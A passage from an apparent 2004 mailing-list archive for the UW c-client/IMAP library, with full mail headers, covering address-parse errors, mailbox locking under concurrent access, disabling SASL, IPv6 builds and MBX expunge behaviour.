-0500 (CDT) Received: by mail.bynari.net (Postfix, from userid 404) id 003FC3E8205; Fri, 13 Aug 2004 13:28:06 -0500 (CDT) Received: from [192.168.1.5] (adsl-68-94-6-65.dsl.rcsntx.swbell.net [68.94.6.65]) by mail.bynari.net (Postfix) with ESMTP id D921C3E8204; Fri, 13 Aug 2004 13:28:06 -0500 (CDT) Message-Id: <411D0940.2070101@bynari.net> Date: Fri, 13 Aug 2004 13:32:32 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Shawn Walker To: c-client@u.washington.edu Subject: IMAP: PARSE - Invalid mailbox list: <> In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Virus-Scanned: by amavisd-new at bynari.net X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, SUBJECT_IS_LIST 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN What am I'm doing wrong with the email address? I have the following set: "user@company.net" I don't see what could cause c-client to return an error. Thanks, Shawn -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 16 10:46:21 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 16 Aug 2004 10:46:21 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7GHkLcn016952 for ; Mon, 16 Aug 2004 10:46:21 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7GHkKpR007467 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 16 Aug 2004 10:46:20 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7GHiEXF014658; Mon, 16 Aug 2004 10:44:14 -0700 Received: from mxe3.u.washington.edu (mxe3.u.washington.edu [140.142.32.137]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7GHgelS065378 for ; Mon, 16 Aug 2004 10:42:40 -0700 Received: from bebop.packetfrenzy.net (bebop.packetfrenzy.net [66.95.214.82]) by mxe3.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7GHgcBA013398 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 16 Aug 2004 10:42:39 -0700 Received: from packetfrenzy.com (zero.packetfrenzy.net [66.95.214.92]) by bebop.packetfrenzy.net (8.12.11/8.12.11) with ESMTP id i7GHgWD0028603 for ; Mon, 16 Aug 2004 13:42:32 -0400 Message-Id: <4120F208.6090604@packetfrenzy.com> Date: Mon, 16 Aug 2004 13:42:32 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Nick To: c-client@u.washington.edu Subject: concurrent EXAMINE/SELECT on unix format mailbox MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Accept-Language: en-us, en X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-1.2.2 (bebop.packetfrenzy.net [66.95.214.82]); Mon, 16 Aug 2004 13:42:32 -0400 (EDT) X-PF_NET-MailScanner: Found to be clean X-PF_NET-MailScanner-SpamCheck: not spam, SpamAssassin (score=0, required 6, autolearn=not spam) X-MailScanner-From: nick@packetfrenzy.com X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__MOZILLA_MSGID 0, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, X_ACCEPT_LANG 0, SIGNATURE_SHORT_DENSE 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN I originally ran across this on a vendor supplied build (redhat 7.2) and verified it again using Fedora Core 2 and imap-2004a. I apologize if this was previously covered; however, I am bringing it up since it doesn't appear to be explicitly mentioned in docs/formats.txt When using the unix format mailbox only one process can have read/write (select) access. This is documented, and any previous connections are dropped. However, my concern is when using examine (read only) on a mailbox and another connection uses select. Examine appears to be completely oblivious to any actions performed on the mailbox by the other process. Specifically, an expunge really throws things out of whack where subsequent text fetches on the "examined" view returns incorrect data which seemingly correspond to the original view offsets when first opened rather than the current updated mailbox (post-expunge). Thanks, -nick -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 16 16:39:46 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 16 Aug 2004 16:39:46 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7GNdktF030155 for ; Mon, 16 Aug 2004 16:39:46 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7GNdjZV020786 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 16 Aug 2004 16:39:46 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7GNcA7I008502; Mon, 16 Aug 2004 16:38:10 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7GNaUbx066450 for ; Mon, 16 Aug 2004 16:36:30 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi2.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7GNaUuO012690 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 16 Aug 2004 16:36:30 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7GNaTtx022302; Mon, 16 Aug 2004 16:36:29 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7GNaTYg010953 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 16 Aug 2004 16:36:29 -0700 Message-Id: Date: Mon, 16 Aug 2004 16:36:50 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: ml Cc: c-client@u.washington.edu Subject: Re: how do disable SASL when compiling imap-2004a? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Thu, 29 Jul 2004, ml wrote: > Is there a way to disable all SASL based authentication when compiling > imap-2004a? Sorry for the delay in answering. The general answer to your question is "no"; however, you can modify the source code. Why do you want to disable SASL authention? USER/PASS is very insecure and should not be used. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Aug 16 16:54:48 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 16 Aug 2004 16:54:47 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7GNslTB030573 for ; Mon, 16 Aug 2004 16:54:47 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7GNskvJ021381 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 16 Aug 2004 16:54:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7GNpw8b012740; Mon, 16 Aug 2004 16:51:58 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7GNot7t010202 for ; Mon, 16 Aug 2004 16:50:55 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7GNorgF005983 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 16 Aug 2004 16:50:53 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7GNoqQM024401; Mon, 16 Aug 2004 16:50:52 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7GNoqFF012428 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 16 Aug 2004 16:50:52 -0700 Message-Id: Date: Mon, 16 Aug 2004 16:51:12 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Peter Losher Cc: c-client@u.washington.edu Subject: Re: UW-2004a and IPv6 & FreeBSD 4.10 In-Reply-To: <200408021149.59812.Peter_Losher@isc.org> References: <200408021149.59812.Peter_Losher@isc.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 2 Aug 2004, Peter Losher wrote: > Restarted inetd, and all IPv6 queries bomb out w/ this error message: > > Aug 2 17:35:58 newbox imapd[44126]: Command stream end of file, while > flushing line user=??? host=[NON-IPv4] Sorry for the delay in responding; I was on vacation. If you are getting "NON-IPv4" then the imapd binary you are running was built as IPv4 only (that is, IP=4 which is the default for UNIX builds). Did you do a "make clean" before setting IP=6? Note that this is not the underlying problem. "Command stream end of file" simply means that the client disconnected without doing a LOGOUT command. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Aug 16 18:38:45 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 16 Aug 2004 18:38:45 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H1cjnS000586 for ; Mon, 16 Aug 2004 18:38:45 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7H1ciH9024266 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 16 Aug 2004 18:38:45 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7H1aTm1018104; Mon, 16 Aug 2004 18:36:29 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H1ZFhG033748 for ; Mon, 16 Aug 2004 18:35:15 -0700 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H1ZFC8009540 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 16 Aug 2004 18:35:15 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H1ZEEi001432; Mon, 16 Aug 2004 18:35:14 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7H1ZEYP018934 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 16 Aug 2004 18:35:14 -0700 Message-Id: Date: Mon, 16 Aug 2004 18:35:34 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Nick Cc: c-client@u.washington.edu Subject: Re: concurrent EXAMINE/SELECT on unix format mailbox In-Reply-To: <4120F208.6090604@packetfrenzy.com> References: <4120F208.6090604@packetfrenzy.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 16 Aug 2004, Nick wrote: > However, my concern is when using examine (read only) on a > mailbox and another connection uses select. Examine appears to be > completely oblivious to any actions performed on the mailbox by the > other process. Specifically, an expunge really throws things out of > whack where subsequent text fetches on the "examined" view returns > incorrect data which seemingly correspond to the original view offsets > when first opened rather than the current updated mailbox (post-expunge). Your surmise is correct. In traditional UNIX format, there is effectively only one lock: the readwrite lock. Readonly access must either lock the readwrite lock (which would preclude other readonly access), or not lock at all and hope for the best. c-client does the latter. This is one of many reasons why traditional UNIX format is not suitable for IMAP (or other shared access). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Aug 16 20:18:48 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 16 Aug 2004 20:18:48 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H3Im90002345 for ; Mon, 16 Aug 2004 20:18:48 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7H3Ild8026651 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 16 Aug 2004 20:18:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7H3GGEn017432; Mon, 16 Aug 2004 20:16:16 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H3EjgX084462 for ; Mon, 16 Aug 2004 20:14:45 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi3.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H3EgJc015763 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 16 Aug 2004 20:14:43 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H3EgwU019017; Mon, 16 Aug 2004 20:14:42 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7H3EfJQ022550 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 16 Aug 2004 20:14:42 -0700 Message-Id: Date: Mon, 16 Aug 2004 20:15:02 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Erik Kangas Cc: c-client@u.washington.edu Subject: Re: MBX Folders and file size after deletion In-Reply-To: <40FC93B3.2040408@luxsci.com> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 19 Jul 2004, Erik Kangas wrote: > The case in point is with UW IMAP v2004 and MBX folders. Repeated deletions > and expunges successfully remove large messages, but the physical folder > remained [essentially] unchanged in size. This seems to happen sometimes, > but not always. I see that nobody answered this while I was on vacation. Expunged messages can only be removed from the mailbox when an expunge or checkpoint happens while only one session has the mailbox open. Shared expunge just marks the message as invisible; exclusive access is needed to do the message removal (I call it "burping"). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Aug 16 20:22:57 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 16 Aug 2004 20:22:57 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H3MvFi002427 for ; Mon, 16 Aug 2004 20:22:57 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7H3MuSO026958 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 16 Aug 2004 20:22:57 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7H3M0K4013466; Mon, 16 Aug 2004 20:22:00 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H3LWYf043352 for ; Mon, 16 Aug 2004 20:21:32 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi3.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H3LV5a016193 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 16 Aug 2004 20:21:32 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H3LVSG000515; Mon, 16 Aug 2004 20:21:31 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H3LVZP019516 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 16 Aug 2004 20:21:31 -0700 Message-Id: Date: Mon, 16 Aug 2004 20:21:51 -0700 (Pacific Daylight Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Shawn Walker Cc: c-client@u.washington.edu Subject: Re: IMAP: PARSE - Invalid mailbox list: <> In-Reply-To: <411D0940.2070101@bynari.net> References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, SUBJECT_IS_LIST 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 13 Aug 2004, Shawn Walker wrote: > What am I'm doing wrong with the email address? > I have the following set: > "user@company.net" > I don't see what could cause c-client to return an error. What is the actual string that you are passing? The parser is complaining about you passing: <> which is invalid except as a Return-Path. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Mon Aug 16 22:30:13 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 16 Aug 2004 22:30:12 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H5UCuk005081 for ; Mon, 16 Aug 2004 22:30:12 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7H5UBlm030184 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 16 Aug 2004 22:30:12 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7H5T95B013556; Mon, 16 Aug 2004 22:29:09 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H5RpWb103090 for ; Mon, 16 Aug 2004 22:27:51 -0700 Received: from ns1.typhoon.co.jp (ns1.typhoon.co.jp [202.33.55.186]) by mxe5.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H5Ro40030225 for ; Mon, 16 Aug 2004 22:27:50 -0700 Received: from ns1.typhoon.co.jp (localhost.typhoon.co.jp [127.0.0.1]) by ns1.typhoon.co.jp (8.12.11/8.12.11/simplicitY) with ESMTP id i7H5Rg47022313; Tue, 17 Aug 2004 14:27:42 +0900 (JST) Received: from localhost (nfung@localhost) by ns1.typhoon.co.jp (8.12.11/8.12.11/Submit) with ESMTP id i7H5RfJs022310; Tue, 17 Aug 2004 14:27:41 +0900 (JST) Message-Id: Date: Tue, 17 Aug 2004 14:27:41 +0900 (JST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: ml To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re: how do disable SASL when compiling imap-2004a? In-Reply-To: References: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __DCC_BODY 0, __DCC_FUZ1 0, __DCC_FUZ2 0, DCC_BULK_LOW 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 16 Aug 2004, Mark Crispin wrote: >On Thu, 29 Jul 2004, ml wrote: >> Is there a way to disable all SASL based authentication when compiling >> imap-2004a? > >Sorry for the delay in answering. > >The general answer to your question is "no"; however, you can modify the >source code. > >Why do you want to disable SASL authention? USER/PASS is very insecure >and should not be used. Mark, Thanks for the response. I trust that you have had a good vacation. I understand that USER/PASS is insecure. However, there are [broken] servers out there which advertise "USER" and "AUTH CRAM-MD5" but in fact support "USER" only! So, when my c-client enabled stuff doesn't work with such servers, users would complain since their e-mail clients (e.g. Outlook) would work. Is there a way to force pop3.c to fall back to USER/PASS when CRAM-MD5 fails? For now, I have hacked pop3.c to make it use USER/PASS only. Thanks. Cheers, N. From pinedev@shivax2.cac.washington.edu Mon Aug 16 23:22:02 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 16 Aug 2004 23:22:02 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H6M241006410 for ; Mon, 16 Aug 2004 23:22:02 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.0+UW04.06) with ESMTP id i7H6M1F8031579 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 16 Aug 2004 23:22:01 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with SMTP id i7H6IuUr013104; Mon, 16 Aug 2004 23:18:56 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H6HopM102926 for ; Mon, 16 Aug 2004 23:17:50 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id i7H6Hnsh002181 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 16 Aug 2004 23:17:50 -0700 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout3.cac.washington.edu (8.13.0+UW04.06/8.13.0+UW04.06) with ESMTP id i7H6Hnmq029233; Mon, 16 Aug 2004 23:17:49 -0700 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu 